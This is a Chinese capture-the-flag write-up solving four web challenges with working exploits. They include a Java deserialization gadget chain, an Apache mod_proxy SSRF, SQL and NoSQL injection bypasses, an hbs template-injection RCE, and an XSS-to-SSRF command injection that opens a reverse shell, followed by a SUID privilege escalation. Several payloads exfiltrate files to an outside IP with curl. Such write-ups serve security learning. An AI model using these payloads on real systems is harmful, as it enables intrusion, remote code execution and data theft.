EzGadget
給了原始碼，IDEA打開看看，有個反序列化的點：
@ResponseBody
@RequestMapping({"/readobject"})
public String unser(@RequestParam(name = "data",required = true) String data, Model model) throws Exception {
byte[] b = Tools.base64Decode(data);
InputStream inputStream = new ByteArrayInputStream(b);
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
String name = objectInputStream.readUTF();
int year = objectInputStream.readInt();
if (name.equals("gadgets") && year == 2021) {
objectInputStream.readObject();
}
return "welcome bro.";
}
ToStringBean這里：
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package com.ezgame.ctf.tools;
import java.io.Serializable;
public class ToStringBean extends ClassLoader implements Serializable {
private byte[] ClassByte;
public ToStringBean() {
}
public String toString() {
ToStringBean toStringBean = new ToStringBean();
Class clazz = toStringBean.defineClass((String)null, this.ClassByte, 0, this.ClassByte.length);
Object var3 = null;
try {
var3 = clazz.newInstance();
} catch (InstantiationException var5) {
var5.printStackTrace();
} catch (IllegalAccessException var6) {
var6.printStackTrace();
}
return "enjoy it.";
}
}
toString()這里呼叫了defineClass能動態加載位元組碼，但是得想辦法呼叫這個toString，
想到CC5的利用中的BadAttributeValueExpException反序列的時候利用到了toString，所以構造一波即可，
惡意類，我這里把flag外帶出來：
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class Evil extends AbstractTranslet
{
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
public Evil() {
try {
String[] command = { "/bin/sh", "-c", "curl http://121.5.169.223:39767/ -F file=@/flag" };
Runtime.getRuntime().exec(command);
//Runtime.getRuntime().exec("sh /tmp/feng");
}
catch (Exception ex) {
ex.printStackTrace();
}
}
public static void main(final String[] array) {
}
}
root@VM-0-6-ubuntu:~/java/evil# cat Evil.class|base64
yv66vgAAADQALwoACwAcBwAdCAAeCAAfCAAgCgAhACIKACEAIwcAJAoACAAlBwAmBwAnAQAJdHJh
bnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tM
Y29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25I
YW5kbGVyOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHACgBAKYoTGNv
bS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2Fw
YWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hl
L3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAGPGluaXQ+
AQADKClWAQANU3RhY2tNYXBUYWJsZQcAJgcAJAEABG1haW4BABYoW0xqYXZhL2xhbmcvU3RyaW5n
OylWAQAKU291cmNlRmlsZQEACUV2aWwuamF2YQwAEwAUAQAQamF2YS9sYW5nL1N0cmluZwEABy9i
aW4vc2gBAAItYwEAL2N1cmwgaHR0cDovLzEyMS41LjE2OS4yMjM6Mzk3NjcvIC1GIGZpbGU9QC9m
bGFnBwApDAAqACsMACwALQEAE2phdmEvbGFuZy9FeGNlcHRpb24MAC4AFAEABEV2aWwBAEBjb20v
c3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5z
bGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhj
ZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1
bnRpbWU7AQAEZXhlYwEAKChbTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsB
AA9wcmludFN0YWNrVHJhY2UAIQAKAAsAAAAAAAQAAQAMAA0AAgAOAAAAGQAAAAMAAAABsQAAAAEA
DwAAAAYAAQAAAAwAEAAAAAQAAQARAAEADAASAAIADgAAABkAAAAEAAAAAbEAAAABAA8AAAAGAAEA
AAARABAAAAAEAAEAEQABABMAFAABAA4AAAB3AAQAAgAAACkqtwABBr0AAlkDEgNTWQQSBFNZBRIF
U0y4AAYrtgAHV6cACEwrtgAJsQABAAQAIAAjAAgAAgAPAAAAHgAHAAAAEgAEABQAGAAVACAAGgAj
ABgAJAAZACgAGwAVAAAAEAAC/wAjAAEHABYAAQcAFwQACQAYABkAAQAOAAAAGQAAAAEAAAABsQAA
AAEADwAAAAYAAQAAAB4AAQAaAAAAAgAb
然后構造一波POC：
import com.ezgame.ctf.tools.ToStringBean;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
public class Test {
public static void main(String[] args) throws Exception{
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Class clazz = Class.forName("javax.management.BadAttributeValueExpException");
Field field = clazz.getDeclaredField("val");
field.setAccessible(true);
ToStringBean toStringBean = new ToStringBean();
field.set(badAttributeValueExpException,toStringBean);
byte[] classByte = Base64.getDecoder().decode("yv66vgAAADQALwoACwAcBwAdCAAeCAAfCAAgCgAhACIKACEAIwcAJAoACAAlBwAmBwAnAQAJdHJh" +
"bnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tM" +
"Y29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25I" +
"YW5kbGVyOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHACgBAKYoTGNv" +
"bS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2Fw" +
"YWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hl" +
"L3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAGPGluaXQ+" +
"AQADKClWAQANU3RhY2tNYXBUYWJsZQcAJgcAJAEABG1haW4BABYoW0xqYXZhL2xhbmcvU3RyaW5n" +
"OylWAQAKU291cmNlRmlsZQEACUV2aWwuamF2YQwAEwAUAQAQamF2YS9sYW5nL1N0cmluZwEABy9i" +
"aW4vc2gBAAItYwEAL2N1cmwgaHR0cDovLzEyMS41LjE2OS4yMjM6Mzk3NjcvIC1GIGZpbGU9QC9m" +
"bGFnBwApDAAqACsMACwALQEAE2phdmEvbGFuZy9FeGNlcHRpb24MAC4AFAEABEV2aWwBAEBjb20v" +
"c3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5z" +
"bGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhj" +
"ZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1" +
"bnRpbWU7AQAEZXhlYwEAKChbTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsB" +
"AA9wcmludFN0YWNrVHJhY2UAIQAKAAsAAAAAAAQAAQAMAA0AAgAOAAAAGQAAAAMAAAABsQAAAAEA" +
"DwAAAAYAAQAAAAwAEAAAAAQAAQARAAEADAASAAIADgAAABkAAAAEAAAAAbEAAAABAA8AAAAGAAEA" +
"AAARABAAAAAEAAEAEQABABMAFAABAA4AAAB3AAQAAgAAACkqtwABBr0AAlkDEgNTWQQSBFNZBRIF" +
"U0y4AAYrtgAHV6cACEwrtgAJsQABAAQAIAAjAAgAAgAPAAAAHgAHAAAAEgAEABQAGAAVACAAGgAj" +
"ABgAJAAZACgAGwAVAAAAEAAC/wAjAAEHABYAAQcAFwQACQAYABkAAQAOAAAAGQAAAAEAAAABsQAA" +
"AAEADwAAAAYAAQAAAB4AAQAaAAAAAgAb");
clazz = Class.forName("com.ezgame.ctf.tools.ToStringBean");
field = clazz.getDeclaredField("ClassByte");
field.setAccessible(true);
field.set(toStringBean,classByte);
ByteArrayOutputStream bout = new ByteArrayOutputStream();
ObjectOutputStream oout = new ObjectOutputStream(bout);
oout.writeUTF("gadgets");
oout.writeInt(2021);
oout.writeObject(badAttributeValueExpException);
byte[] bytes = bout.toByteArray();
byte[] encode = Base64.getEncoder().encode(bytes);
System.out.println(new String(encode));
}
}
打：
得到flag：
apacheprOxy
吃了個飯就打通了，
參考文章：https://www.leavesongs.com/PENETRATION/apache-mod-proxy-ssrf-cve-2021-40438.html
SSRF打內網的weblogic，就是這環境賊垃圾，死活打不通，多打幾次就出了：
http://47.104.181.226:7410/?unix:                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  |http://172.24.0.2:7001/
flag還是拿curl外帶出來：
curl http://121.5.169.223:39656/ -F file=@/flag
而且串payload，我和學長那邊都nc收到別人的payload，可能運氣比較好就出了，拿了一血：
eznode
一血，
首先是個登錄：
router.post('/', async function (req, res, next) {
let username = req.body.username;
let password = req.body.password;
if (check(username) && check(password)) {
let sql = `select * from users where username='${username}' and password = '${password}'`;
const result = await select(sql)
.then(close())
.catch(err => { console.log(err); });
// console.log(result);
if(result){
if (result.username == username && password == result.password) {
res.cookie('token', result, { signed: true });
res.send("yes");
} else {
res.send("username or password error")
}
} else{
res.send('no')
}
} else {
res.send("Fak OFF HACKER");
}
});
``check`這個waf很容易繞了，拿陣列繞，
然后就是這個：
if (result.username == username && password == result.password) {
第五空間考的了，直接拿第五空間的payload拿過來改一改：
POST / HTTP/1.1
Host: eci-2zeggoejwozozko2g4xu.cloudeci1.ichunqiu.com:8888
Content-Length: 389
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Origin: http://eci-2zeggoejwozozko2g4xu.cloudeci1.ichunqiu.com:8888
Referer: http://eci-2zeggoejwozozko2g4xu.cloudeci1.ichunqiu.com:8888/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: __jsluid_h=0ac3650127bce0646f3b72bc382255da
Connection: close
username[]=admin&password[]='%2F**%2Funion%2F**%2FSELECT%2F**%2F'admin'%2CREPLACE(REPLACE('%22%2F**%2Funion%2F**%2FSELECT%2F**%2F%22admin%22%2CREPLACE(REPLACE(%22%3F%22%2CCHAR(34)%2CCHAR(39))%2CCHAR(63)%2C%22%3F%22)%23'%2CCHAR(34)%2CCHAR(39))%2CCHAR(63)%2C'%22%2F**%2Funion%2F**%2FSELECT%2F**%2F%22admin%22%2CREPLACE(REPLACE(%22%3F%22%2CCHAR(34)%2CCHAR(39))%2CCHAR(63)%2C%22%3F%22)%23')%23
登錄成功后有2個能干的：
router.post('/admin', checkLogin, function (req, res, next) {
var name = req.body.name ? req.body.name : "admin";
res.render('admin', name)
});
// 還未上線..., checkLogin
router.post('/upload', checkLogin, upload.any(), function (req, res, next) {
fs.readFile(req.files[0].path, function (err, data) {
if (err) {
console.log(err);
} else {
response = {
message: 'File uploaded successfully',
filename: req.files[0].path
};
res.end(JSON.stringify(response));
}
});
})
檔案上傳是這樣處理：
const storage = multer.diskStorage({
destination: function (req, file, cb) {
cb(null, './upload_tmp')
},
filename: function (req, file, cb) {
cb(null, Date.now()+'.jpg')
}
})
沒啥用，（是我錯了）
看一下package.json，一個一個查漏洞：
{
"name": "app",
"version": "0.0.0",
"private": true,
"scripts": {
"start": "node ./bin/www",
"dev": "nodemon index.js -e js"
},
"dependencies": {
"cookie-parser": "~1.4.4",
"crypto": "^1.0.1",
"debug": "~2.6.9",
"express": "~4.16.1",
"hbs": "^4.0.1",
"http-errors": "~1.6.3",
"morgan": "~1.9.1",
"multer": "^1.4.3",
"mysql": "^2.18.1",
"path": "^0.12.7",
"sequelize": "^6.7.0"
}
}
查hbs的模板渲染的時候，查到了一個CVE-2021-32822：
https://securitylab.github.com/advisories/GHSL-2021-020-pillarjs-hbs/
本來以為是個任意檔案的讀取：
讀/flag的時候發現讀的檔案必須要有個后綴，不然就自動加上.hbs：
然后想到了，這應該是決議模板檔案的，利用上傳功能，就可以實作模板渲染rce，
查一下hbs的模板渲染rce：
https://xz.aliyun.com/t/4695
寫個curl外帶的POC：
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return global.process.mainModule.constructor._load('child_process').exec('curl http://121.5.169.223:39767/ -F file=@/flag')"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
傳過去：
再決議這個模板檔案：
帶出flag：
OldLibrary
一道Go，先是登錄和注冊的功能，后續的功能利用有2種限制，一個是localhost一個是admin：
func AdminCheckMiddleWare() gin.HandlerFunc { // You can't be administrator
return func(c *gin.Context) {
session := sessions.Default(c)
if session.Get("uname") == nil {
c.Header("Content-Type", "text/html; charset=utf-8")
c.String(200, "<script>alert('You have not logged in yet');window.location.href='/auth'</script>")
return
}
if session.Get("uname").(string) != os.Getenv("ADMIN_USER") {
c.Header("Content-Type", "text/html; charset=utf-8")
c.String(200, "<script>alert('You are not admin, and you can not be admin either!');window.location.href='/auth'</script>")
return
}
c.Next()
}
}
func IPCheckMiddleWare() gin.HandlerFunc {
return func(c *gin.Context) {
if c.Request.RemoteAddr[:9] != "127.0.0.1" && c.Request.RemoteAddr[:9] != "localhost" {
c.JSON(403, gin.H{"msg": "I'm sorry, your IP is forbidden"})
return
}
c.Next()
}
}
admin這里告訴我們用戶名是administrator，但是密碼不知道，
審一下代碼發現登錄那里存在SQL注入：
err = db_table.Find(bson.M{"$where":"function() {if(this.username == '"+user.Username+"' && this.password == '"+user.Password+"') {return true;}}"}).One(&result)
里面是js代碼的判斷，以administrator用戶名登錄成功即可，很容易了，直接收一下js代碼就行：
username=administrator&password='||this.username=='administrator
發現有localhost限制的功能那里有個rce：
func DeleteController(c *gin.Context) { // The function is temporarily inaccessible
var filename Filename
if err := c.ShouldBindJSON(&filename); err != nil {
c.JSON(500, gin.H{"msg": err})
return
}
cmd := exec.Command("/bin/bash", "-c", "rm ./upload/pdf/" + filename.Filename)
if err := cmd.Run(); err != nil {
fmt.Println(err)
return
}
所以得先ssrf，
/submit的功能看一下就是給點引數然后弄成一個html然后渲染成pdf，很容易聯想到今年祥云杯的那道secrets_of_admin，拿pdf來ssrf，
寫一下js 來ssrf實作rce就行：
POST /submit HTTP/1.1
Host: eci-2ze5gq1gtiew9prd5bn1.cloudeci1.ichunqiu.com:8888
Content-Length: 799
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://eci-2ze5gq1gtiew9prd5bn1.cloudeci1.ichunqiu.com:8888
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryGaez0qbXRXdUlHaf
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://eci-2ze5gq1gtiew9prd5bn1.cloudeci1.ichunqiu.com:8888/submit
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: __jsluid_h=7f4d85f214af75c12d03309d6885e159; mysession=MTYzNTY2NzU3N3xOd3dBTkUxU1RGRTJURUpNUzBwU1RUSXpSRlpCV1VwSlZrSmFOVlJNUTBSUFZsQkVTVFEzVkVoSVJESkNWbFZWTnpOR1FVRk9SMUU9fIiPFzlMoaVOs65bjmTmFCpCrHIsD8_sgSWXQB5M8XQp
Connection: close
------WebKitFormBoundaryGaez0qbXRXdUlHaf
Content-Disposition: form-data; name="title"
1234
------WebKitFormBoundaryGaez0qbXRXdUlHaf
Content-Disposition: form-data; name="author"
456
------WebKitFormBoundaryGaez0qbXRXdUlHaf
Content-Disposition: form-data; name="description"
1</td><script>
var httpRequest = new XMLHttpRequest();
httpRequest.open('POST', 'http://127.0.0.1:8888/delete', true);
httpRequest.setRequestHeader("Content-type","application/json");
var obj = { "filename":"1234.pdf;bash -i >& /dev/tcp/121.5.169.223/39767 0>&1" };
httpRequest.send(JSON.stringify(obj));
</script><td>1
------WebKitFormBoundaryGaez0qbXRXdUlHaf
Content-Disposition: form-data; name="covers"; filename="1.txt"
Content-Type: text/plain
321
------WebKitFormBoundaryGaez0qbXRXdUlHaf--
shell彈過來了，然后看一下讀flag，沒權限，嘗試一下suid提權，看一下：
ctfer@engine-1:/$ find / -perm -u=s -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
/usr/lib/xorg/Xorg.wrap
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/sbin/pppd
/usr/bin/chsh
/usr/bin/mount
/usr/bin/chfn
/usr/bin/comm
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/su
/usr/bin/gpasswd
/usr/bin/umount
/usr/bin/pkexec
ctfer@engine-1:/$
發現有comm，直接利用comm讀/flagggisshere：
ctfer@engine-1:/$ comm /flagggisshere /etc/passwd
comm /flagggisshere /etc/passwd
flag{3c515cc6-3ce2-4c3d-9dbc-001ec5f8f13a}
root:x:0:0:root:/root:/bin/bash
comm: file 2 is not in sorted order
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:101:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:105::/nonexistent:/usr/sbin/nologin
usbmux:x:105:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
rtkit:x:106:110:RealtimeKit,,,:/proc:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
cups-pk-helper:x:108:112:user for cups-pk-helper service,,,:/home/cups-pk-helper:/usr/sbin/nologin
avahi:x:109:113:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin
saned:x:110:115::/var/lib/saned:/usr/sbin/nologin
colord:x:111:116:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
geoclue:x:112:117::/var/lib/geoclue:/usr/sbin/nologin
pulse:x:113:118:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
gdm:x:114:120:Gnome Display Manager:/var/lib/gdm3:/bin/false
mongodb:x:115:121::/var/lib/mongodb:/usr/sbin/nologin
ctfer:x:1000:1000::/home/ctfer:/bin/bash
ctfer@engine-1:/$
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